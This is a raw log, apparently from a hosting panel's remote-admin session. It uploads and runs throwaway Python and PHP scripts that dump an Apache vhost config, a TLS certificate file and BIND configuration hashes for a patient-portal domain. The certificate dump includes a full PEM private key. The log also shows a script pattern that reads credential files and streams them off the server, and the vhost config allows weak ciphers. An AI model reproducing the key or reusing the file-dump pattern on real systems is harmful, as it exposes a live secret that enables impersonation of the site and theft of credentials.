                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-17 18:05:09: 

PUT: /tmp/pkp570630

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-17 18:05:09: 

chmod 755 /tmp/pkp570630; /tmp/pkp570630; rm /tmp/pkp570630

2026-05-17 18:05:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-05-17 18:05:09: 

PUT: /tmp/pkp982662

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-17 18:05:09: 

chmod 755 /tmp/pkp982662; /tmp/pkp982662; rm /tmp/pkp982662

2026-05-17 18:05:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	5378
27:74:e6:89:fe:1d:5f:6b:65:84:bb:4f:ad:5f:45:c7

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSscUhOU266HJQdaKmE7ETq8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE3MTcwNjM3WhcNMjYwODE1MTcwNjM2WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtafJHUksyC2r2juVdRA3MdD/XbGvK5JdtuDfR3gmBBVo
b3fM+4dGZ5RSvze4tGJygs6fexF1fjDnLPwc5ivNyb/DJIoeRuf3E7YW5r9/yipj
/hWYQBa9Em2I72fE99M7glef31NLYmzVyxDx8l/Bhd8JgMGM07HYFdrTVCRPAkE2
qULSluoCnpwA+/CvPGD3Sg2i1tY+lEeifChNkETxaaTRMgYocusAK4oGlHE8mYp0
pcEIGCimJMgGAbsEp/30dyMLIIu/K2wZ6K2a1qcM/Zdo7TCHNVorD+gDOlFdfgbN
E23jkf4tXlQ3nRvwLkrxLwltYK6Uqg97fHOccMsIKwIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFFU9/FwV+y/UH1ZGV+RuHekVlQnMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcYXRoZW5haGVhbHRoLnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAAB
njcc/z4AAAQDAEYwRAIgPvlOGMetqEaNKgAOuC7cNY7LmAK07G9MFLLHEnWgg8sC
ICshJCoqaUocH5A4Wr3jIIzXF/29M4hu8IqDcMur+vz8AH4ARq+GPTs+5Z+ld96o
JF02sNntIqIj9GF3QSKUUu6VUF8AAAGeNxz/2QAIAAAFAAbf174EAwBHMEUCIDXe
fTSexO0swWfgSfwdIAqTYOpmj72aC+hS+P9crxU7AiEAzu0cRXlQG09HpGr8UBzr
2P9LYAmtVP8b0hnCM0iwZeQwDQYJKoZIhvcNAQELBQADggEBAKGeTgb86bTKCh6P
O5VAbHvVIXYnKJi2xXR0O3clTtfOhvp8nrFDQiGrPheG4aOSvjqCTFcfNjgPRX2y
wUaUuROm8jA4smY5PXQcSu5j794ESVPOFVfQs6qgIM4geg1gwm2S7MJHn0/yuw7h
9uMOuhTVzubLWNrsVk4KtR7hE4MJaDpgzyzhJTK6cNcOzaLVuH9oOPUHp1LluuwY
VEdyQaUIyEeDx2bBUI75DS7unj0Hi79IbiwPRTgONRHQFvOw5imv5Zr7P9GA1XdC
B6ufztzpKzscXfjuyYGOt/1GX2J8RbyCmm0yUOfVZ9kq9MceaYDmRd/xt4eFFMmg
Q5fI9wY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1p8kdSSzILava
O5V1EDcx0P9dsa8rkl224N9HeCYEFWhvd8z7h0ZnlFK/N7i0YnKCzp97EXV+MOcs
/BzmK83Jv8Mkih5G5/cTthbmv3/KKmP+FZhAFr0SbYjvZ8T30zuCV5/fU0tibNXL
EPHyX8GF3wmAwYzTsdgV2tNUJE8CQTapQtKW6gKenAD78K88YPdKDaLW1j6UR6J8
KE2QRPFppNEyBihy6wArigaUcTyZinSlwQgYKKYkyAYBuwSn/fR3Iwsgi78rbBno
rZrWpwz9l2jtMIc1WisP6AM6UV1+Bs0TbeOR/i1eVDedG/AuSvEvCW1grpSqD3t8
c5xwywgrAgMBAAECggEABjPsVaArM8tUxsG/GOgMrRpLsKmBvOqlYY/B1WEVvJD1
58x+8Yh3z89MQ17wjdRIwGJe0WcnYb+OEpv/PqAjSZl53TRhfp6qx1UHPiou1Q/n
1IQXQU+ldXd2XrpmiucpwonMbztFuTQp2WJtkzmlft/pT/4L7tSaoiW+jpfOIi+v
YOKryW6j0Fjv027qj99LQkqePzUv3/0XsbK5RBaD8W/UEcx9twsMhbHpUaiwENxC
ybHp294rgppX0NVf4Ml/39q4oPWQ11g8hm8+/mkCXy/xW2luN0yzuDnsYsAUk32K
9aTJ5WAKYkBqV3LpyjQc0LQ1NfrTc9cI4hpt9NlJNQKBgQDzWmqwYZ/o6ncckgIp
+j5PUWdCsgatcVrrO0Y1GJs4k+3CsGvqxda1Gu5S9iEDYeOeNjj8DtNZ7VZ/Bloy
RLozgJvLXJDIH0KkZxQuKiI+YQVQmsa/utf/eq9WLbjQNm4c6iMJeUxNvA6QsOAG
M0EeM67e/Ot+C4Pw41L1wcEYxwKBgQC/GInZBVPfSWcWvnZFfMyO0DmPqEKBuuKI
X/hjTeBJGBdSCvKNp4A3/W9ynTnQcaHh8AN+XM0VrO0fbtvP1V62uOB2C4g1zd0/
bzUqDusaNIKgmoubWjhOXhqnNtTDZm6FDPhPd6uNWXZzU5TA6wPV0xpGc3fhZ/D8
Rfa3z7WZfQKBgEtz3WCS5GHzULsrCkC5tlghhULIsAlW/DmzRzFvT7FbLH0Q9mT0
sn20u/A9ID9MOqbzaPe+IQng7NC1x4GOja0qUyPar4ldJ+yRiVBHABcXPe6gDr+j
zxUHlRXDV2o3dizA69wkH+R6SonSTaOegLI8lBvPj7SlHWOzGCXazWRBAoGAGqmZ
0iXkJetf7tR0PA3FnMeAwIKBhQhGQzDgvzpGaOxrlI7ieNE+GpHJ0vwM7QBtzdBn
LGJWWwfdrd0R3lWu+V+iMdY6Ewe+LvOdP1kFhIp/D1mA0RQtdwG6RkpoNTs9gGLm
4m+YCAjLdhvbTW99AYCK0fmaaGDQRuKcIdlhRSECgYEAuD9A3N21fmGXsnYrmlvp
rGyAAej9i3YHW+bKPrrH01DXPtOuglzpNURTl+bBiWI0eZXp2bAKFlfffPJ13QG2
vNM0GRkY9pKyy6yjUdU86aK3QtHH5xJuqlcV4QFSIU0vXPjzgAY4iMeB/DqmxtUw
vUV6pjZKfROmQJ0zGA7rw2w=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-17 21:41:04: Establishing a connection
2026-05-17 21:41:12: Establishing a connection
2026-05-17 21:41:12: 

PUT: /tmp/pkp289629

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-17 21:41:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp289629; rm /tmp/pkp289629'

2026-05-17 21:41:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
